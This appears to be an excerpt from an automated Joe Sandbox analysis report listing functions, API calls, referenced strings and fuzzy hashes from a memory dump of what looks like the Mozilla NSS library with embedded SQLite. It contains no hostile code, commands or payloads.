Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 2544067d0c00e3825f374af9abfecc11587c2351fa9f8a0515b8efee3db57eba
Instruction ID: 211bed26c09739a0068db7b044fe876ac57e27141ff6150ced65e5afc770fd2c
Opcode Fuzzy Hash: 2544067d0c00e3825f374af9abfecc11587c2351fa9f8a0515b8efee3db57eba
Instruction Fuzzy Hash: 311124A1D0121496E7109A259D42BBB72F8EF5564CF20062DEC5DC2B81FB20A948C2A2

Function 6CE3BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CEBDC29,?), ref: 6CE3BE64

Part of subcall function 6CE90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
Part of subcall function 6CE90FF0: PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016
Part of subcall function 6CE90FF0: PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CEBDC29,?), ref: 6CE3BE78

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CEBDC29,?), ref: 6CE3BE96

Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CEBDC29,?), ref: 6CE3BEBB

Part of subcall function 6CE8FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE88D2D,?,00000000,?), ref: 6CE8FB85
Part of subcall function 6CE8FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE8FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CEBDC29,?), ref: 6CE3BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CEBDC29,?), ref: 6CE3BEF3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: ca2653f90f1e450a075bb3619436ef77761cfc5e8ab25b52766e18f6dc272d30
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 4E11BB71E001195BEB008BA99D41F6A37B8DF4125CF35002CED0DD7780E731E919C7A1

Function 6CEC3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CEC5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEC5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEC3D3F

Part of subcall function 6CE3BA90: PORT_NewArena_Util.NSS3(00000800,6CEC3CAF,?), ref: 6CE3BABF
Part of subcall function 6CE3BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CEC3CAF,?), ref: 6CE3BAD5
Part of subcall function 6CE3BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CEC3CAF,?), ref: 6CE3BB08
Part of subcall function 6CE3BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CEC3CAF,?), ref: 6CE3BB1A
Part of subcall function 6CE3BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CEC3CAF,?), ref: 6CE3BB3B

PR_EnterMonitor.NSS3(?), ref: 6CEC3CCB

Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90AB
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90C9
Part of subcall function 6CEF9090: EnterCriticalSection.KERNEL32 ref: 6CEF90E5
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF9116
Part of subcall function 6CEF9090: LeaveCriticalSection.KERNEL32 ref: 6CEF913F

PR_EnterMonitor.NSS3(?), ref: 6CEC3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEC3CF8
PR_ExitMonitor.NSS3(?), ref: 6CEC3D15
PR_ExitMonitor.NSS3(?), ref: 6CEC3D2E

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 7f3001eb1ebc1058d241ad713192a9d2a7645a7632a646407a598b44a7416ac7
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: B311E9757106005BE7205E65ED41BDBB6F5AB11308F704538E86A97B20E632F819C653

Function 6CE8FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CE8FE08

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CE8FE1D

Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CE8FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CE8FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CE8FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CE8FE6F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: c33a7b29d07134ca10afe142bd144394f5263c68165e08f12e98bd8fcedf21a1
Instruction ID: 04bd41ab371648a469c12ecc7be788adf5ee0b171890b435c201b0cfa46fe238
Opcode Fuzzy Hash: c33a7b29d07134ca10afe142bd144394f5263c68165e08f12e98bd8fcedf21a1
Instruction Fuzzy Hash: B11108B6A02205ABEB008F54DC40B5B73B8AF592ADF348038E91C87B12E735D914C7A1

Function 6CF3FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CF3FD9E

Part of subcall function 6CEF9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE21A48), ref: 6CEF9BB3
Part of subcall function 6CEF9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE21A48), ref: 6CEF9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CF3FDB9

Part of subcall function 6CE1A900: TlsGetValue.KERNEL32(00000000,?,6CF914E4,?,6CDB4DD9), ref: 6CE1A90F
Part of subcall function 6CE1A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE1A94F

PR_Unlock.NSS3 ref: 6CF3FDD4
PR_Lock.NSS3 ref: 6CF3FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CF3FE0D
PR_Unlock.NSS3 ref: 6CF3FE23

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 3e02c4fa395e6b901cceb9e99b540659993dc5ce5fb82d7f2234ad6c2a1a2ade
Instruction ID: 5be84b9a398eaa913fe136bace5e459f3f09b0ad19f6e0830766f7925fb84130
Opcode Fuzzy Hash: 3e02c4fa395e6b901cceb9e99b540659993dc5ce5fb82d7f2234ad6c2a1a2ade
Instruction Fuzzy Hash: CD01A5FAE501116BCF458F19FC008567635BB07278B154378E83A47BE1E722ED29CAC1

Function 6CE1AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE1AFDA

Strings

misuse, xrefs: 6CE1AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6CE1AF5C
%s at line %d of [%.10s], xrefs: 6CE1AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE1AFC4

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: ce2c6f2f9aa5588413a41bdda62d779c2dc92bfc2410dbd3cc5c2b8fb70f04f6
Instruction ID: c466830d77593dfeae8e66269efaf01f6a2c637180ba8ac332dd1d5146694cdd
Opcode Fuzzy Hash: ce2c6f2f9aa5588413a41bdda62d779c2dc92bfc2410dbd3cc5c2b8fb70f04f6
Instruction Fuzzy Hash: 0E91F4B5B482158FDB04CF59C850BBAB7F1BF49318F2981A8E865ABB51C334ED15CB60

Function 6CE7FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CE7FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE7FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE7FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CE7FDDE

Part of subcall function 6CE88800: TlsGetValue.KERNEL32(?,6CE9085A,00000000,?,6CE38369,?), ref: 6CE88821
Part of subcall function 6CE88800: TlsGetValue.KERNEL32(?,?,6CE9085A,00000000,?,6CE38369,?), ref: 6CE8883D
Part of subcall function 6CE88800: EnterCriticalSection.KERNEL32(?,?,?,6CE9085A,00000000,?,6CE38369,?), ref: 6CE88856
Part of subcall function 6CE88800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CE88887
Part of subcall function 6CE88800: PR_Unlock.NSS3(?,?,?,?,6CE9085A,00000000,?,6CE38369,?), ref: 6CE88899

Strings

pkcs11:, xrefs: 6CE7FC4F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: ba25773fa3c71681a3b7b13e7c69bc6c03fb2bf58fc3e572a00b7eb150fe7ba3
Instruction ID: 95d8e6a164982493e54d1b61f7feb5c52c50bc2684ccc9b4fe030d1e1ec79534
Opcode Fuzzy Hash: ba25773fa3c71681a3b7b13e7c69bc6c03fb2bf58fc3e572a00b7eb150fe7ba3
Instruction Fuzzy Hash: 2D5116B2A111119BEF208F68DE40F5A3375AF4135CF750129DE196BB42EB39E805CBB2

Function 6CDBBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CDBBE02

Part of subcall function 6CEE9C40: memcmp.VCRUNTIME140(?,00000000,6CDBC52B), ref: 6CEE9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDBBE9F

Strings

database corruption, xrefs: 6CDBBE93
%s at line %d of [%.10s], xrefs: 6CDBBE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDBBE89

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 9011a092407a4a0c00dc3a355a6a06548794270ae2ca3339f46a2213e9e5ecad
Instruction ID: 9a605b11445794582c7198ec34e2516b41349f8c3728a626bda4aee6b82335fe
Opcode Fuzzy Hash: 9011a092407a4a0c00dc3a355a6a06548794270ae2ca3339f46a2213e9e5ecad
Instruction Fuzzy Hash: 863101B1A04655ABC700CF2988D4AABBBA2AF45314B188554FA9A3BAF1D371EC04C7D0

Function 6CE31EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CE34C64,?,-00000004), ref: 6CE31EE2

Part of subcall function 6CE91820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CE31D97,?,?), ref: 6CE91836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE34C64,?,-00000004), ref: 6CE31F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE34C64,?,-00000004), ref: 6CE31F37
DER_DecodeTimeChoice_Util.NSS3(?,dLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE34C64,?,-00000004), ref: 6CE31F53

Strings

dLl, xrefs: 6CE31F2B, 6CE31F51

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLl
API String ID: 3216063065-3939847266
Opcode ID: 4d4f1008c69c45d9d15caa5aca3140224a45e648916fdce2203f1c7026a3f8ca
Instruction ID: 7b7638fefbebc2d04241bbbfc5d47af0f9aecb1fcf09e533aef05022ff979f78
Opcode Fuzzy Hash: 4d4f1008c69c45d9d15caa5aca3140224a45e648916fdce2203f1c7026a3f8ca
Instruction Fuzzy Hash: C621B071914216ABC710CEAACC01A9BB7F9AF85299F20092DE858C3B40F331F509CB92

Function 6CE20DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE20BDE), ref: 6CE20DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE20BDE), ref: 6CE20DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE20BDE), ref: 6CE20DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE20BDE), ref: 6CE20E32

Strings

%s incr => %d (find lib), xrefs: 6CE20E2D

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 4d4f548531a876b255936c83f4290535d0a10d3dcdc74d456b18824e2bb7c14f
Instruction ID: 5cbc63d1f2e190392f30c9c6be745874fbc5d48ce79220571a823a2a4aba832f
Opcode Fuzzy Hash: 4d4f548531a876b255936c83f4290535d0a10d3dcdc74d456b18824e2bb7c14f
Instruction Fuzzy Hash: 7C01D871B002109FEB209F249C45F17B7BDDF45609B15446DD905D3B81E762EC5486E1

Function 6CEDAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CEB6AC6,?), ref: 6CEDAC2D

Part of subcall function 6CE7ADC0: TlsGetValue.KERNEL32(?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE10
Part of subcall function 6CE7ADC0: EnterCriticalSection.KERNEL32(?,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE24
Part of subcall function 6CE7ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE5D079,00000000,00000001), ref: 6CE7AE5A
Part of subcall function 6CE7ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE6F
Part of subcall function 6CE7ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE7F
Part of subcall function 6CE7ADC0: TlsGetValue.KERNEL32(?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AEB1
Part of subcall function 6CE7ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AEC9

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CEB6AC6,?), ref: 6CEDAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]l,00000000,?,?,6CEB6AC6,?), ref: 6CEDAC59
free.MOZGLUE(8CB6FF01,6CEB6AC6,?,?,?,?,?,?,?,?,?,?,6CEC5D40,00000000,?,6CECAAD4), ref: 6CEDAC62

Strings

@]l, xrefs: 6CEDAC05

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]l
API String ID: 1595327144-728282480
Opcode ID: e329484791fb615cd9818090c68560e25d7928eb72233f1a1f1b888250d11b5c
Instruction ID: 728a0523d3fce3738fbd8e10cb6ba3b0a76a3a9d73b43dabb79c238b533b54b1
Opcode Fuzzy Hash: e329484791fb615cd9818090c68560e25d7928eb72233f1a1f1b888250d11b5c
Instruction Fuzzy Hash: 09018BB56412009FDB10DF14E9C0B4677B8AF04B6CF2880A8E9098F706D734F909CBB1

Function 6CDC9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDC9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CDC9D45
EnterCriticalSection.KERNEL32(?), ref: 6CDC9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CDC9DDE

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: fadf1a20c2ab6be0d7f7bfff85ae729670fb1b75de26f931709cc27a0aa759a5
Instruction ID: 5f870d4f6f828daab010959b591e86c99ed50a5f628d2c728c90afd82514ea32
Opcode Fuzzy Hash: fadf1a20c2ab6be0d7f7bfff85ae729670fb1b75de26f931709cc27a0aa759a5
